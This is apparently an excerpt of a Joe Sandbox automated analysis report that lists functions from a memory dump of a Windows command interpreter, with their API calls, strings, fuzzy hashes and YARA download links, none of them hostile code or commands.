Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ErrorLast$CreateSemaphore
String ID: _p0$wil
API String ID: 4049970386-1814513734
Opcode ID: 4c279d25a5048f02db21f70f6b5cec4f26135099151794247cac5369c79ddc98
Instruction ID: e437d5e4e0ec80cb3cf324e1263f6c344b6ec177d1200cd6e4ce8b2d3b4c5bc9
Opcode Fuzzy Hash: 4c279d25a5048f02db21f70f6b5cec4f26135099151794247cac5369c79ddc98
Instruction Fuzzy Hash: B231E475B401198BCB25DF34CD98AEA33B5FFA5310F154168EC15D7240DB74CE488B60

Function 001B51E8 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 001B5295

Part of subcall function 001A727B: __iob_func.MSVCRT ref: 001A7280

fprintf.MSVCRT ref: 001B5215

Strings

Null environment, xrefs: 001B5202
CMD Internal Error %s, xrefs: 001B5207
%s, xrefs: 001B52A3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: __iob_func_wcsnicmpfprintf
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 1828771275-2781220306
Opcode ID: fe6997d60334d96c1d2119515c4eaa21c29fb8b479e99d088332df293a38661e
Instruction ID: c6887951a03dc8960cad9f1963bf60097257e3f3f073589fd9befd741f089180
Opcode Fuzzy Hash: fe6997d60334d96c1d2119515c4eaa21c29fb8b479e99d088332df293a38661e
Instruction Fuzzy Hash: BB312F36E01611DBCF28EB68DC45BEEB762DF58700F14046DEC0AE3281EB705E41C655

Function 0019B3C1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 0019AB7F: iswspace.MSVCRT ref: 0019AB8D
Part of subcall function 0019AB7F: wcschr.MSVCRT ref: 0019AB9E

wcschr.MSVCRT ref: 0019B3FC
wcschr.MSVCRT ref: 0019B40E

Strings

&<|>, xrefs: 001ACD71
+: , xrefs: 0019B409
=,;, xrefs: 0019B3F7

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcschr$iswspace
String ID: &<|>$+: $=,;
API String ID: 3458554142-2256444845
Opcode ID: 09d67d85e8f2f6499f1120ee7df75507c0b75e75f002be703b2708664abb84ad
Instruction ID: 404dfd25ef94f3a8ce1dc2f799d391f23bbc29dffa38c29dddc0c3a11b9b6a85
Opcode Fuzzy Hash: 09d67d85e8f2f6499f1120ee7df75507c0b75e75f002be703b2708664abb84ad
Instruction Fuzzy Hash: 56113632A08114A6CF34DB66D58157EB7E7FFB2B50B29002AE8C297380F7319D40E251

Function 0019FCE9 Relevance: 7.8, APIs: 5, Instructions: 297COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0019FD3A
wcsspn.MSVCRT ref: 0019FF18
??_V@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,001A2229,00000000,-00000105,?,00000000,00000000), ref: 001A000F

Part of subcall function 001A1CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,?,00000000,00000000,?,?,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D3A
Part of subcall function 001A1CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D44
Part of subcall function 001A1CD5: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001,?,00000000,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D57
Part of subcall function 001A1CD5: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,001980F4,00000000,00000000,-00000001,00000000,?,00000000), ref: 001A1D61

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ErrorMode$FullNamePathmemsetwcsspn
String ID:
API String ID: 1535828850-0
Opcode ID: bc355172267078ffa2d7221f7e78f1ab38b74cdc563f57cc73876d6ed2f49338
Instruction ID: ac5c9feea286d0c912f662b8e090d7f564521f044a69196d5af01c08da5f6b1c
Opcode Fuzzy Hash: bc355172267078ffa2d7221f7e78f1ab38b74cdc563f57cc73876d6ed2f49338
Instruction Fuzzy Hash: 82C17D75A00215DFCB29DF18D890BA9B7B6FF49314F5581AEE40ADB651EB309E82CF40

Function 00195190 Relevance: 7.6, APIs: 5, Instructions: 138COMMON

Download Yara Rule

APIs

_setjmp3.MSVCRT ref: 001951B9
memset.MSVCRT ref: 001951FF
memset.MSVCRT ref: 00195219
??_V@YAXPAX@Z.MSVCRT(?,-00000001), ref: 001952EC
??_V@YAXPAX@Z.MSVCRT(?,-00000001), ref: 00195304

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$_setjmp3
String ID:
API String ID: 4215035025-0
Opcode ID: ba9d047ede9bca36918a71301036e075a26a2f88436eab9e88caea24a79091a6
Instruction ID: e1c6acd7fabc8d73c6d015440ef30d29dfc7d7328320db14e7a208b263bd90d8
Opcode Fuzzy Hash: ba9d047ede9bca36918a71301036e075a26a2f88436eab9e88caea24a79091a6
Instruction Fuzzy Hash: F9516CB1E012299BCF25DBA5DC94AEEBBB9FB55340F1400A9E609A7140DB309F84CF61

Function 001B95F2 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001B9631
memset.MSVCRT ref: 001B964F

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

_wcsicmp.MSVCRT ref: 001B96FD
??_V@YAXPAX@Z.MSVCRT(00000000,-00000209,?,?,?,?,00000000,?), ref: 001B971B
??_V@YAXPAX@Z.MSVCRT(00000000,-00000209,?,?,?,?,00000000,?), ref: 001B9733

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$_wcsicmp
String ID:
API String ID: 1670951261-0
Opcode ID: d389dc846efd1ee5f87790b1d5e41df93b71703d20af3758e87c6be0ab4e1d34
Instruction ID: 0cc0beeacacd15c27c470aae9be935de8921f2d124f0e2f0fbc4434cb6c67a4e
Opcode Fuzzy Hash: d389dc846efd1ee5f87790b1d5e41df93b71703d20af3758e87c6be0ab4e1d34
Instruction Fuzzy Hash: 6941AE71A102199BDF24CAA5CC85BEEB7B8EF18344F4400A9EA05E3141DB34DF84CF60

Function 001B94E0 Relevance: 7.6, APIs: 5, Instructions: 102fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 001B9527
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 001B952F
_get_osfhandle.MSVCRT ref: 001B95B5
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 001B95BD

Part of subcall function 001B8C50: longjmp.MSVCRT(001D0A70,00000001,0019206C,00195E68,?,?,?,?,00000000), ref: 001B8CC4
Part of subcall function 001B8C50: memset.MSVCRT ref: 001B8D1D
Part of subcall function 001B8C50: memset.MSVCRT ref: 001B8D45
Part of subcall function 001B8C50: memset.MSVCRT ref: 001B8D6D

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B95CC

Part of subcall function 0019A16C: _close.MSVCRT ref: 0019A19B

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$File_get_osfhandle$ErrorLastPointerRead_closelongjmp
String ID:
API String ID: 288106245-0
Opcode ID: 33b3eb1b814fcd7dfc4ca1344ab607907cba1302b3eeb2da2d4ef17e3164b0e3
Instruction ID: 74a8bbcf919c26715fa39b5fc917a2b86318fb7da08d1c9a28485623c8e7a1e1
Opcode Fuzzy Hash: 33b3eb1b814fcd7dfc4ca1344ab607907cba1302b3eeb2da2d4ef17e3164b0e3
Instruction Fuzzy Hash: A031A471A11204AFEF29EF74D849BEE7769EF54311F20812AF602D61C1DB74DD428B50

Function 001A260E Relevance: 7.6, APIs: 5, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,001A1775,-00000001,-00000001,-00000001,-00000001), ref: 001A2650
_get_osfhandle.MSVCRT ref: 001AF339
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,001A1775,-00000001,-00000001,-00000001,-00000001), ref: 001AF347
longjmp.MSVCRT(001D0A30,00000001,?,00000104,00000000,?,?,001A1775,-00000001,-00000001,-00000001,-00000001), ref: 001AF383
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,001A87F0,?,?,?,001A87F0,00000000,?,00194A0A), ref: 001AF390

Part of subcall function 0019DD98: _get_osfhandle.MSVCRT ref: 0019DDA3
Part of subcall function 0019DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001AC050), ref: 0019DDAD

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: BufferConsoleInfoScreen$Heap_get_osfhandle$AllocFileProcessTypelongjmp
String ID:
API String ID: 158340877-0
Opcode ID: da6e41e79dfe20dc165fea0ab42d114421cdadd37a244866e8a8e1e5442e215b
Instruction ID: 80be944f90c325a125fb29c85d1813ddc56daf0412c3ab11f50f6ae46693a8c7
Opcode Fuzzy Hash: da6e41e79dfe20dc165fea0ab42d114421cdadd37a244866e8a8e1e5442e215b
Instruction Fuzzy Hash: 7C31AB75A023059FDB24EFB8D885ABEB7F8EF58B55B14452EE846C2540EB70D841CB50

Function 001A4CA0 Relevance: 7.6, APIs: 5, Instructions: 98fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 001A4CC2
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001B8FB3,?,00000000,?,?,?,?,?,?,?,00000000,?,00000021,00000000,?), ref: 001A4CCA
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B0BFC
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B0C48
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 001B0C71

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ErrorFileLast$DeleteRead_get_osfhandle
String ID:
API String ID: 3588551418-0
Opcode ID: 7671413e1e318a7d6d5de484f3bf1818a873a4e40cd4908b9bcfee9e4dd2a3d4
Instruction ID: 7ddf9c2c81cd6db732807207864240fcc9fb6858eee191073253a8efdb7d2b48
Opcode Fuzzy Hash: 7671413e1e318a7d6d5de484f3bf1818a873a4e40cd4908b9bcfee9e4dd2a3d4
Instruction Fuzzy Hash: 2031F134601200AFDF18DFA4D8469BF3B69FF95314B20442AE802C3691DB74DC80CB61

Function 0019E272 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 0019E29B
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 0019E2A3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: FilePointer_get_osfhandle
String ID:
API String ID: 1013686580-0
Opcode ID: 473623ee459ffcb10241cdd78f4a17cb723fc6bcbca799779dd849be91ac922a
Instruction ID: 2dee8803a6dcc5c1e2212770ec5066ebfe68f6c966f5af529b2a78b7ef20587a
Opcode Fuzzy Hash: 473623ee459ffcb10241cdd78f4a17cb723fc6bcbca799779dd849be91ac922a
Instruction Fuzzy Hash: 3B110635206600AFD728A764FC4EF563B95EF0B761F310416F106969E0CB71D880CA21

Function 001B8550 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0019DD98: _get_osfhandle.MSVCRT ref: 0019DDA3
Part of subcall function 0019DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001AC050), ref: 0019DDAD

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 001B8571
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?), ref: 001B857E
ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,00000000,?,?), ref: 001B85C7
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,00000000), ref: 001B85D5
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 001B85DC

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
String ID:
API String ID: 3008996577-0
Opcode ID: 3734cf0d82e39d1b4ea159805783b6a6ef5cdb82c6c7614d7f8e96e05518f449
Instruction ID: dccdda34b52f4371023de2b09ba7494a6af18f33c0adc8c669a646b62f339ea2
Opcode Fuzzy Hash: 3734cf0d82e39d1b4ea159805783b6a6ef5cdb82c6c7614d7f8e96e05518f449
Instruction Fuzzy Hash: 36110735A112099ACB14EFF49C05AEEB7B8AF0D710F10411AF515E7690EB349A44CB6A

Function 001A70F5 Relevance: 7.6, APIs: 5, Instructions: 50timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(00000000), ref: 001A7122
GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 001A7131
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 001A713A
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 001A7143
QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0(?), ref: 001A7158

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: b7a186749674c2890574ee59ab5764bfef91b632940814de0fe5f3e2fa421271
Instruction ID: 0ed0432da1cb99d2a086f2efcdcebbbe0fe55fa3c0c43d4ccbd5ae49b767aafb
Opcode Fuzzy Hash: b7a186749674c2890574ee59ab5764bfef91b632940814de0fe5f3e2fa421271
Instruction Fuzzy Hash: 97110A75E06208ABCF10DFB9D94869EB7F5FF58315F910966E401E7250E7309B408B41

Function 001B4840 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,001A87E5,00000000,?,00194A0A), ref: 001B484A

Part of subcall function 0019DD98: _get_osfhandle.MSVCRT ref: 0019DDA3
Part of subcall function 0019DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,001AC050), ref: 0019DDAD

FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,001A87E5,00000000,?,00194A0A), ref: 001B4879
_getch.MSVCRT ref: 001B487F
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,001A87E5,00000000,?,00194A0A), ref: 001B4897
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,001A87E5,00000000,?,00194A0A), ref: 001B48AD

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CriticalSection$BufferConsoleEnterFileFlushHandleInputLeaveType_get_osfhandle_getch
String ID:
API String ID: 491502236-0
Opcode ID: 3b19f9bf7979766e871361b2dfb91cf4b471382eacbd8b0cf5eedc68d9d370e6
Instruction ID: 26a2cfd820870ffad52d7d6a5dbb6060b2ba3dbbde3a830f311c43382f7e3776
Opcode Fuzzy Hash: 3b19f9bf7979766e871361b2dfb91cf4b471382eacbd8b0cf5eedc68d9d370e6
Instruction Fuzzy Hash: 1201D431102350FFEB14ABE1AC0AFAF3B65DF01720F104119F805965E2DBB18980CA55

Function 00196488 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 296COMMON

Download Yara Rule

APIs

Part of subcall function 00196513: memset.MSVCRT ref: 00196593

Part of subcall function 0019DC60: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,00000000,00198E86,00198E5A,00000000), ref: 0019DC98
Part of subcall function 0019DC60: RtlFreeHeap.NTDLL(00000000), ref: 0019DC9F

memset.MSVCRT ref: 001AA097

Strings

*.*, xrefs: 001AA0C7

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Heapmemset$FreeProcess
String ID: *.*
API String ID: 1291122668-438819550
Opcode ID: d7f3643de6e3a9270e10eadc4abb6dd28a3134739eb00a6bfaecd38be3fc7675
Instruction ID: 90a04929ec1ee308e6fe34ed17f0141cfd745e26fbfeea0cf5e216082eeddbeb
Opcode Fuzzy Hash: d7f3643de6e3a9270e10eadc4abb6dd28a3134739eb00a6bfaecd38be3fc7675
Instruction Fuzzy Hash: 7FB1F175D00209AFDF24EFA4C981BAEBBB1FF6A300F554069E805AB245D731ED41CB91

Function 001B5948 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 252registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 001B5997

Part of subcall function 0019AB7F: iswspace.MSVCRT ref: 0019AB8D
Part of subcall function 0019AB7F: wcschr.MSVCRT ref: 0019AB9E

Strings

%s=%s, xrefs: 001B5A94, 001B5C15
\Shell\Open\Command, xrefs: 001B5A0C, 001B5B8C

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Enumiswspacewcschr
String ID: %s=%s$\Shell\Open\Command
API String ID: 3493821229-3301834661
Opcode ID: 99e0e96f912236e1dc4d2c58fa7de6b0d6a321a6310ad411e3a5f72da52d43ff
Instruction ID: 62f78bcfa147d01ab3be23e1f10c4c5f94204e73716c87283230ce38afcb2a94
Opcode Fuzzy Hash: 99e0e96f912236e1dc4d2c58fa7de6b0d6a321a6310ad411e3a5f72da52d43ff
Instruction Fuzzy Hash: 4F812D75E006195BDF28AB28CCD5BFA737BEF94704F2441A9E40AA7181EB709E81CB50

Function 0019CCD0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

GeToken: (%x) '%s', xrefs: 001AD495
Ungetting: '%s', xrefs: 001AD4C0

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID:
String ID: GeToken: (%x) '%s'$Ungetting: '%s'
API String ID: 0-1704545398
Opcode ID: ff3e3d64b730b657032329675c1c6eae824e9b31501c2474b433dcec4442b216
Instruction ID: 78171bb8b8ac7ddd1f5d3c14f6e250c2e9227ad3f17d6523986d5fa1630977e4
Opcode Fuzzy Hash: ff3e3d64b730b657032329675c1c6eae824e9b31501c2474b433dcec4442b216
Instruction Fuzzy Hash: 1C517D31A0410187DF28BBA8E80577A7FE2FBA1354F55443AE48797A91EBB1DC80C7E1

Function 001B4DBD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 001B4E18
iswdigit.MSVCRT ref: 001B4E31
wcstol.MSVCRT ref: 001B4E41

Strings

aApP, xrefs: 001B4DD5

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

